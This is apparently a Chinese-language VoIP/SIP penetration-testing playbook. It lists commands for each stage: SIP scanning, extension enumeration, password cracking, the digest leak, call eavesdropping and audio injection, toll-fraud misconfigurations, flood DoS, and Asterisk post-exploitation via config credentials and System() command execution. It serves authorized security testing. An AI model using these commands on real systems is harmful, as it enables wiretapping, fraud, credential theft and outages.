VoIP/SIP 渗透测试方法论
深入参考
- SIP 协议详解、SIPVicious 工具链、RTP 注入/窃听、Asterisk 配置审计 -> 读 references/voip-techniques.md
整体决策树
VoIP 基础设施渗透测试
├─ Phase 1: 服务发现
│ ├─ SIP 端口扫描 (5060 UDP/TCP, 5061 TLS)
│ ├─ svmap / SIPPTS scan / Nmap -> SIP 设备发现
│ ├─ PBX 附属服务 (TFTP/HTTP/MySQL/LDAP)
│ └─ Google Dorks -> 暴露的 VoIP 管理界面
├─ Phase 2: SIP 枚举
│ ├─ 方法枚举 (OPTIONS / SIPPTS enumerate)
│ ├─ 分机枚举 (svwar / SIPPTS exten)
│ ├─ 响应头分析 -> 指纹识别
│ └─ 电话号码 OSINT
├─ Phase 3: 认证攻击
│ ├─ 在线密码爆破 (svcrack / SIPPTS rcrack)
│ ├─ 离线摘要破解 (sipdump + sipcrack)
│ ├─ SIP Digest Leak 漏洞利用
│ └─ 默认凭据
├─ Phase 4: 通话劫持与窃听
│ ├─ 网络嗅探 (Wireshark / ucsniff)
│ ├─ ARP 欺骗 -> MitM -> RTP 捕获
│ ├─ ChanSpy / ExtenSpy (Asterisk 监听)
│ ├─ RTP 注入 (rtpinsertsound / rtpmixsound)
│ └─ DTMF 码提取 (voicemail 密码)
├─ Phase 5: 安全协议分析
│ ├─ TLS 使用 -> SIP 通信加密
│ ├─ SRTP 使用 -> RTP 通信加密
│ ├─ ZRTP 使用 -> 端到端加密
│ └─ 未加密 -> 完全可嗅探
├─ Phase 6: 已知漏洞与攻击
│ ├─ RTCPBleed (RTP 代理 NAT 绕过)
│ ├─ Asterisk 配置错误 (免费拨号)
│ ├─ 分机注入
│ ├─ Click2Call 滥用
│ └─ OS/固件漏洞 (FreePBX / Elastix)
└─ DoS 攻击
├─ SIP INVITE Flood
├─ RTP Flood
└─ IAX Flood
Phase 1: 服务发现
1.1 网络扫描
# Nmap SIP 方法扫描
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
# svmap (SIPVicious) — SIP 设备发现
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
# --fp: 指纹识别
# 注意: 默认 User-Agent 为 "friendly-scanner",容易被阻断
# SIPPTS scan — 高速 SIP 扫描 (UDP/TCP/TLS)
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
# Metasploit
use auxiliary/scanner/sip/options_tcp # TCP
use auxiliary/scanner/sip/options # UDP
1.2 附属服务检查
PBX 可能暴露的服务
├─ 69/UDP (TFTP) -> 固件更新文件
├─ 80/443 (HTTP/HTTPS) -> Web 管理界面
├─ 389 (LDAP) -> 用户信息
├─ 3306 (MySQL) -> 数据库
├─ 5038 (Asterisk Manager) -> 管理接口
├─ 5222 (XMPP) -> 即时消息
└─ 5432 (PostgreSQL) -> 数据库
1.3 Google Dorks
# Grandstream 设备
intitle:"Grandstream Device Configuration" Password
# Cisco CallManager
inurl:"ccmuser/logon.asp"
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle:"FreePBX"
Phase 2: SIP 枚举
2.1 方法枚举
# SIPPTS enumerate — 发现 PBX 支持的 SIP 方法
sippts enumerate -i 10.10.0.10
# 自定义消息发送与响应分析
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
# WebSocket SIP
sippts wssend -i 10.10.0.10 -r 443 -path /ws
2.2 分机枚举
# svwar (SIPVicious) — SIP 分机枚举
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
# SIPPTS exten — 大范围分机扫描
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
# Metasploit
use auxiliary/scanner/sip/enumerator_tcp # TCP
use auxiliary/scanner/sip/enumerator # UDP
# enumiax — IAX 协议用户名枚举
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10
Phase 3: 认证攻击
3.1 在线密码爆破
# svcrack (SIPVicious)
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080
svcrack -u100 -r1-9999 -z4 10.0.0.1 # 分机范围检查
# SIPPTS rcrack — 多用户/多 IP 密码破解
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
注意: 用户名可能与分机号相同,也可能不同,取决于 PBX 配置。
3.2 离线摘要破解
# 从 pcap 提取 SIP 摘要认证
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
# SIPPTS dump + dcrack
sippts dump -f capture.pcap -o data.txt
sippts dcrack -f data.txt -w wordlist/rockyou.txt
# SIPPTS tshark — 从 pcap 提取 SIP 数据
sippts tshark -f capture.pcap [-filter auth]
3.3 SIP Digest Leak 漏洞
利用 SIP 电话固有的漏洞,诱使其泄露摘要认证响应:
# SIPPTS leak — 自动利用 SIP Digest Leak
sippts leak -i 10.10.0.10
攻击流程:
- 攻击者发送 INVITE 到目标电话
- 目标振铃 -> 有人接听后挂断
- 目标发送 BYE
- 攻击者回复 407 要求认证
- 目标在第二个 BYE 中发送摘要认证
- 离线破解摘要
Phase 4: 通话劫持与窃听
4.1 网络嗅探
# 前提: 位于同一网络 / 可进行 ARP 欺骗
# 工具: Wireshark, tcpdump, ucsniff
# ucsniff — 专为 VoIP 设计的嗅探工具
ucsniff -i eth0
加密检查:
- SIP 使用 TLS -> 无法看到 SIP 通信明文
- 使用 SRTP/ZRTP -> RTP 数据包加密
4.2 Asterisk 监听功能
# ChanSpy — 监听所有通话
# 配置: exten => 333,1,ChanSpy('all',qb)
# 拨打 333 即开始监听,按 * 切换通话
# ExtenSpy — 监听指定分机
# 录制通话到文件
# [recorded-context]
# exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
# exten => _X.,2,MixMonitor(${NAME})
4.3 RTP 注入
# rtpinsertsound — 向通话注入音频
sudo apt install rtpinsertsound
rtpinsertsound <target_ip> <rtp_port> audio.wav
# rtpmixsound — 混合音频到通话
sudo apt install rtpmixsound
# DTMF 码提取 (语音信箱密码)
multimon -a DTMF -t wac pin.wav
Phase 5: 安全协议分析
5.1 加密状态决策树
通信加密评估
├─ SIP 信令
│ ├─ 明文 (UDP/TCP 5060) -> 可嗅探所有信令
│ └─ TLS (5061) -> 信令加密
├─ RTP 媒体流
│ ├─ 明文 RTP -> 可捕获并播放通话
│ ├─ SRTP -> 媒体加密
│ └─ ZRTP -> 端到端加密
└─ 风险评估
├─ 全明文 -> 高风险 (完全可窃听)
├─ 仅 SIP TLS -> 中风险 (媒体仍可截获)
└─ TLS + SRTP/ZRTP -> 低风险
Phase 6: 已知漏洞与攻击
6.1 RTCPBleed
RTP 代理的 NAT 穿越学习模式缺乏认证,攻击者可发送 RTP 包劫持媒体流:
# 检测 RTP Bleed
sippts rtpbleed -i 10.10.0.10
sippts rtcpbleed -i 10.10.0.10
# 利用 RTP Bleed Flood
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
# 注入音频
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
6.2 Asterisk 配置错误
免费拨号风险评估
├─ type=friend + insecure=port,invite
│ └─ 任何人可连接并拨打外部号码
├─ allowguest=true (sip.conf 默认)
│ └─ 无认证用户可拨打
├─ 默认 context 包含外部拨号规则
│ └─ include => external (含 Dial(SIP/trunk/${EXTEN}))
└─ IVRS 分机长度未校验
└─ 输入完整电话号码拨出
6.3 分机注入
# 旧版 Asterisk: ${EXTEN} 可注入
# 输入 101&SIP123123123 -> 同时拨打 101 和 123123123
# 通过绕过匹配的分机名注入外部号码
6.4 未授权 INVITE 检测
# SIPPTS invite — 检测未认证拨号
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
# 呼叫转移
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
DoS 攻击
# SIP INVITE Flood
sippts flood -i 10.10.0.10 -m invite -v
# SIP Ping (响应时间测试)
sippts ping -i 10.10.0.10
# IAX Flood
iaxflood <target>
# INVITE Flood (独立工具)
inviteflood <interface> <target> <port>
# SIPp (SIP 流量生成器)
sipp -sf scenario.xml <target>:5060
Asterisk 后渗透
配置文件与凭据
关键文件
├─ sip.conf -> SIP 用户密码
├─ extensions.conf -> 拨号计划
├─ manager.conf -> AMI 管理密码
├─ FreePBX:
│ ├─ amportal.conf -> Web 管理员密码
│ └─ FreePBX.conf -> 数据库密码
├─ Elastix:
│ └─ Elastix.conf -> MySQL root / IMAP / Web 管理密码 (明文)
└─ MySQL root 可能无密码
RCE (获取配置写入权限后)
# Asterisk System() 命令
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
# Shell() 命令 (替代 System)
same => n,Shell(command)